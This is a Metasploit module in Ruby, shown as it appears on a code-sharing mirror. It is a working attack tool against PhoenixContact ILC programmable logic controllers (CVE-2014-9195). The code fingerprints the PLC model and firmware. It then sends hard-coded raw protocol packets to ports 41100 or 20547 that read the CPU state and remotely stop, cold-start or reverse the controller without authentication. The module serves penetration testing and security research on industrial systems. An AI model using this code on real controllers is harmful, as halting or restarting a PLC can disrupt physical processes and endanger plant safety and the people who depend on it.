Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/phoenix_command.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Rex::Socket::Tcp
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'PhoenixContact PLC Remote START/STOP Command',
15
'Description' => %q{
16
PhoenixContact Programmable Logic Controllers are built upon a variant of
17
ProConOS. Communicating using a proprietary protocol over ports TCP/1962
18
and TCP/41100 or TCP/20547.
19
It allows a remote user to read out the PLC Type, Firmware and
20
Build number on port TCP/1962.
21
And also to read out the CPU State (Running or Stopped) AND start
22
or stop the CPU on port TCP/41100 (confirmed ILC 15x and 17x series)
23
or on port TCP/20547 (confirmed ILC 39x series)
24
},
25
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ],
29
[ 'CVE', '2014-9195']
30
],
31
'DisclosureDate' => '2015-05-20',
32
'Notes' => {
33
'Stability' => [CRASH_OS_DOWN],
34
'SideEffects' => [IOC_IN_LOGS],
35
'Reliability' => []
36
}
37
)
38
)
39
register_options(
40
[
41
OptEnum.new('ACTION', [
42
true, 'PLC CPU action, REV means reverse current CPU state', 'NOOP',
43
[
44
'STOP',
45
'START',
46
'REV',
47
'NOOP'
48
]
49
]),
50
OptPort.new('RINFOPORT', [true, 'Set info port', 1962 ]),
51
OptPort.new('RPORT', [false, 'Set action port, will try autodetect when not set' ])
52
]
53
)
54
end
55
56
# Here comes the code, hang on to your pants
57
def bin_to_hex(str)
58
str.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
59
end
60
61
def hex_to_bin(str)
62
str.scan(/../).map { |x| x.hex.chr }.join
63
end
64
65
def send_recv_once(data)
66
buf = ''
67
begin
68
sock.put(data)
69
buf = sock.get_once || ''
70
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
71
elog(e)
72
end
73
74
bin_to_hex(buf)
75
end
76
77
def get_info(rhost, rport)
78
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
79
data = send_recv_once("\x01\x01\x00\x1a\x00^\x00\x00\x00\x00\x00\x03\x00\x0cIBETH01N0_M\x00")
80
if data.nil? || data.length < 36
81
print_error('Could not obtain information on this device')
82
disconnect
83
return 'UNKNOWN'
84
end
85
code = data[34..35]
86
send_recv_once("\x01\x05\x00\x16\x00\x5f\x00\x00\x08\xef\x00" + hex_to_bin(code) + "\x00\x00\x00\x22\x00\x04\x02\x95\x00\x00")
87
data = send_recv_once("\x01\x06\x00\x0e\x00\x61\x00\x00\x88\x11\x00" + hex_to_bin(code) + "\x04\x00")
88
disconnect
89
if data.nil? || data.length < 200
90
print_error('Could not obtain information on this device')
91
return 'UNKNOWN'
92
end
93
plctype = hex_to_bin(data[60..99])
94
print_status('PLC Type = ' + plctype)
95
print_status('Firmware = ' + hex_to_bin(data[132..139]))
96
print_status('Build = ' + hex_to_bin(data[158..174]) + ' ' + hex_to_bin(data[182..199]))
97
print_status('------------------------------------')
98
plctype
99
end
100
101
def init_phase1
102
send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
103
send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
104
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
105
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
106
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
107
send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\xd9\xffAde.Remoting.Services.IForceService2\x00")
108
send_recv_once("\x01\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IForceService\x00")
109
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
110
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
111
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDeviceInfoService2\x00")
112
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDeviceInfoService\x00")
113
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService3\x00")
114
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDataAccessService\x00")
115
send_recv_once("\x01\x00\x00\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\xd4\xffAde.Remoting.Services.IDataAccessService2\x00")
116
send_recv_once("\x01\x00\x00\x00\x00\x00)\x00\x00\x00\x00\x00\x00\x00\xd5\xffAde.Remoting.Services.IBreakpointService\x00")
117
send_recv_once("\x01\x00\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\xd6\xffAde.Remoting.Services.ICallstackService\x00")
118
send_recv_once("\x01\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IDebugService2\x00")
119
send_recv_once("\x01\x00\x00\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\xcf\xffAde.Remoting.Services.IProConOSControlService2\x00")
120
send_recv_once("\x01\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.IProConOSControlService\x00")
121
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\xce\xffAde.Remoting.Services.ISimpleFileAccessService3\x00")
122
send_recv_once("\x01\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00Ade.Remoting.Services.ISimpleFileAccessService2\x00")
123
send_recv_once("\x01\x00\x02\x00\x00\x00\x0e\x00\x03\x00\x03\x00\x00\x00\x00\x00\x05\x00\x00\x00\x12@\x13@\x13\x00\x11@\x12\x00")
124
end
125
126
def init_phase2
127
send_recv_once("\xcc\x01\x00\r\xc0\x01\x00\x00\xd5\x17")
128
send_recv_once("\xcc\x01\x00\x0b@\x02\x00\x00G\xee")
129
send_recv_once("\xcc\x01\x00[@\x03\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd7\x9a")
130
send_recv_once("\xcc\x01\x00[@\x04\x1c\x00\x01\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xeaC")
131
send_recv_once("\xcc\x01\x00\x06@\x05\x00\x006\x1e")
132
send_recv_once("\xcc\x01\x00\x07@\x06\x10\x00&u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc6\x82")
133
end
134
135
def get_state1(data)
136
if data[48..49] == '03'
137
state = 'RUN'
138
elsif data[48..49] == '07'
139
state = 'STOP'
140
elsif data[49..49] == '00'
141
state = 'ON'
142
else
143
print_error('CPU State not detected, full result is ' + data)
144
return
145
end
146
state
147
end
148
149
def get_state2(data)
150
if data[16..17] == '04'
151
state = 'STOP'
152
elsif data[16..17] == '02'
153
state = 'RUN'
154
else
155
print_error('CPU State not detected, full result is ' + data)
156
return
157
end
158
state
159
end
160
161
def get_cpu(rhost, rport, devicetype)
162
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
163
state = 'unknown'
164
if devicetype == '15x'
165
init_phase1
166
## KeepAlive packet
167
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
168
## Query packet
169
data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40")
170
state = get_state1(data)
171
elsif devicetype == '39x'
172
init_phase2
173
data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa")
174
state = get_state2(data)
175
end
176
disconnect
177
print_status('CPU Mode = ' + state)
178
state
179
end
180
181
def set_cpu(rhost, rport, action, state, devicetype)
182
connect(true, 'RHOST' => rhost, 'RPORT' => rport)
183
if devicetype == '15x'
184
init_phase1 ## Several packets (21)
185
send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00")
186
if action == 'START' || (action == 'REV' && state == 'STOP')
187
print_status('--> Sending COLD start now')
188
send_recv_once("\x01\x00\x02\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x01\x00")
189
else
190
print_status('--> Sending STOP now')
191
send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00")
192
end
193
elsif devicetype == '39x'
194
init_phase2 ## Several packets (6)
195
if action == 'START' || (action == 'REV' && state == 'STOP')
196
print_status('--> Sending COLD start now')
197
send_recv_once("\xcc\x01\x00\x04\x40\x0e\x00\x00\x18\x21")
198
else
199
print_status('--> Sending STOP now')
200
send_recv_once("\xcc\x01\x00\x01\x40\x0e\x00\x00\x4c\x07")
201
end
202
else
203
print_error('Unknown device type')
204
return
205
end
206
sleep(1) ## It takes a second for a PLC to start
207
get_cpu(rhost, rport, devicetype)
208
disconnect
209
end
210
211
def run
212
rhost = datastore['RHOST']
213
action = datastore['ACTION']
214
ractionport = datastore['RPORT']
215
216
device = get_info(rhost, datastore['RINFOPORT'])
217
218
if device.start_with?('ILC 15', 'ILC 17')
219
devicetype = '15x'
220
print_status('--> Detected 15x/17x series, getting current CPU state:')
221
ractionport.nil? ? (rport = 41100) : (rport = ractionport)
222
elsif device.start_with?('ILC 39')
223
devicetype = '39x'
224
print_status('--> Detected 39x series, getting current CPU state:')
225
ractionport.nil? ? (rport = 20547) : (rport = ractionport)
226
else
227
print_error('Only ILC and (some) RFC devices are supported.')
228
return
229
end
230
231
state = get_cpu(rhost, rport, devicetype)
232
print_status('------------------------------------')
233
234
if action == 'NOOP'
235
print_status("--> No action specified (#{action}), stopping here")
236
return
237
end
238
239
set_cpu(rhost, rport, action, state, devicetype)
240
end
241
end
242
243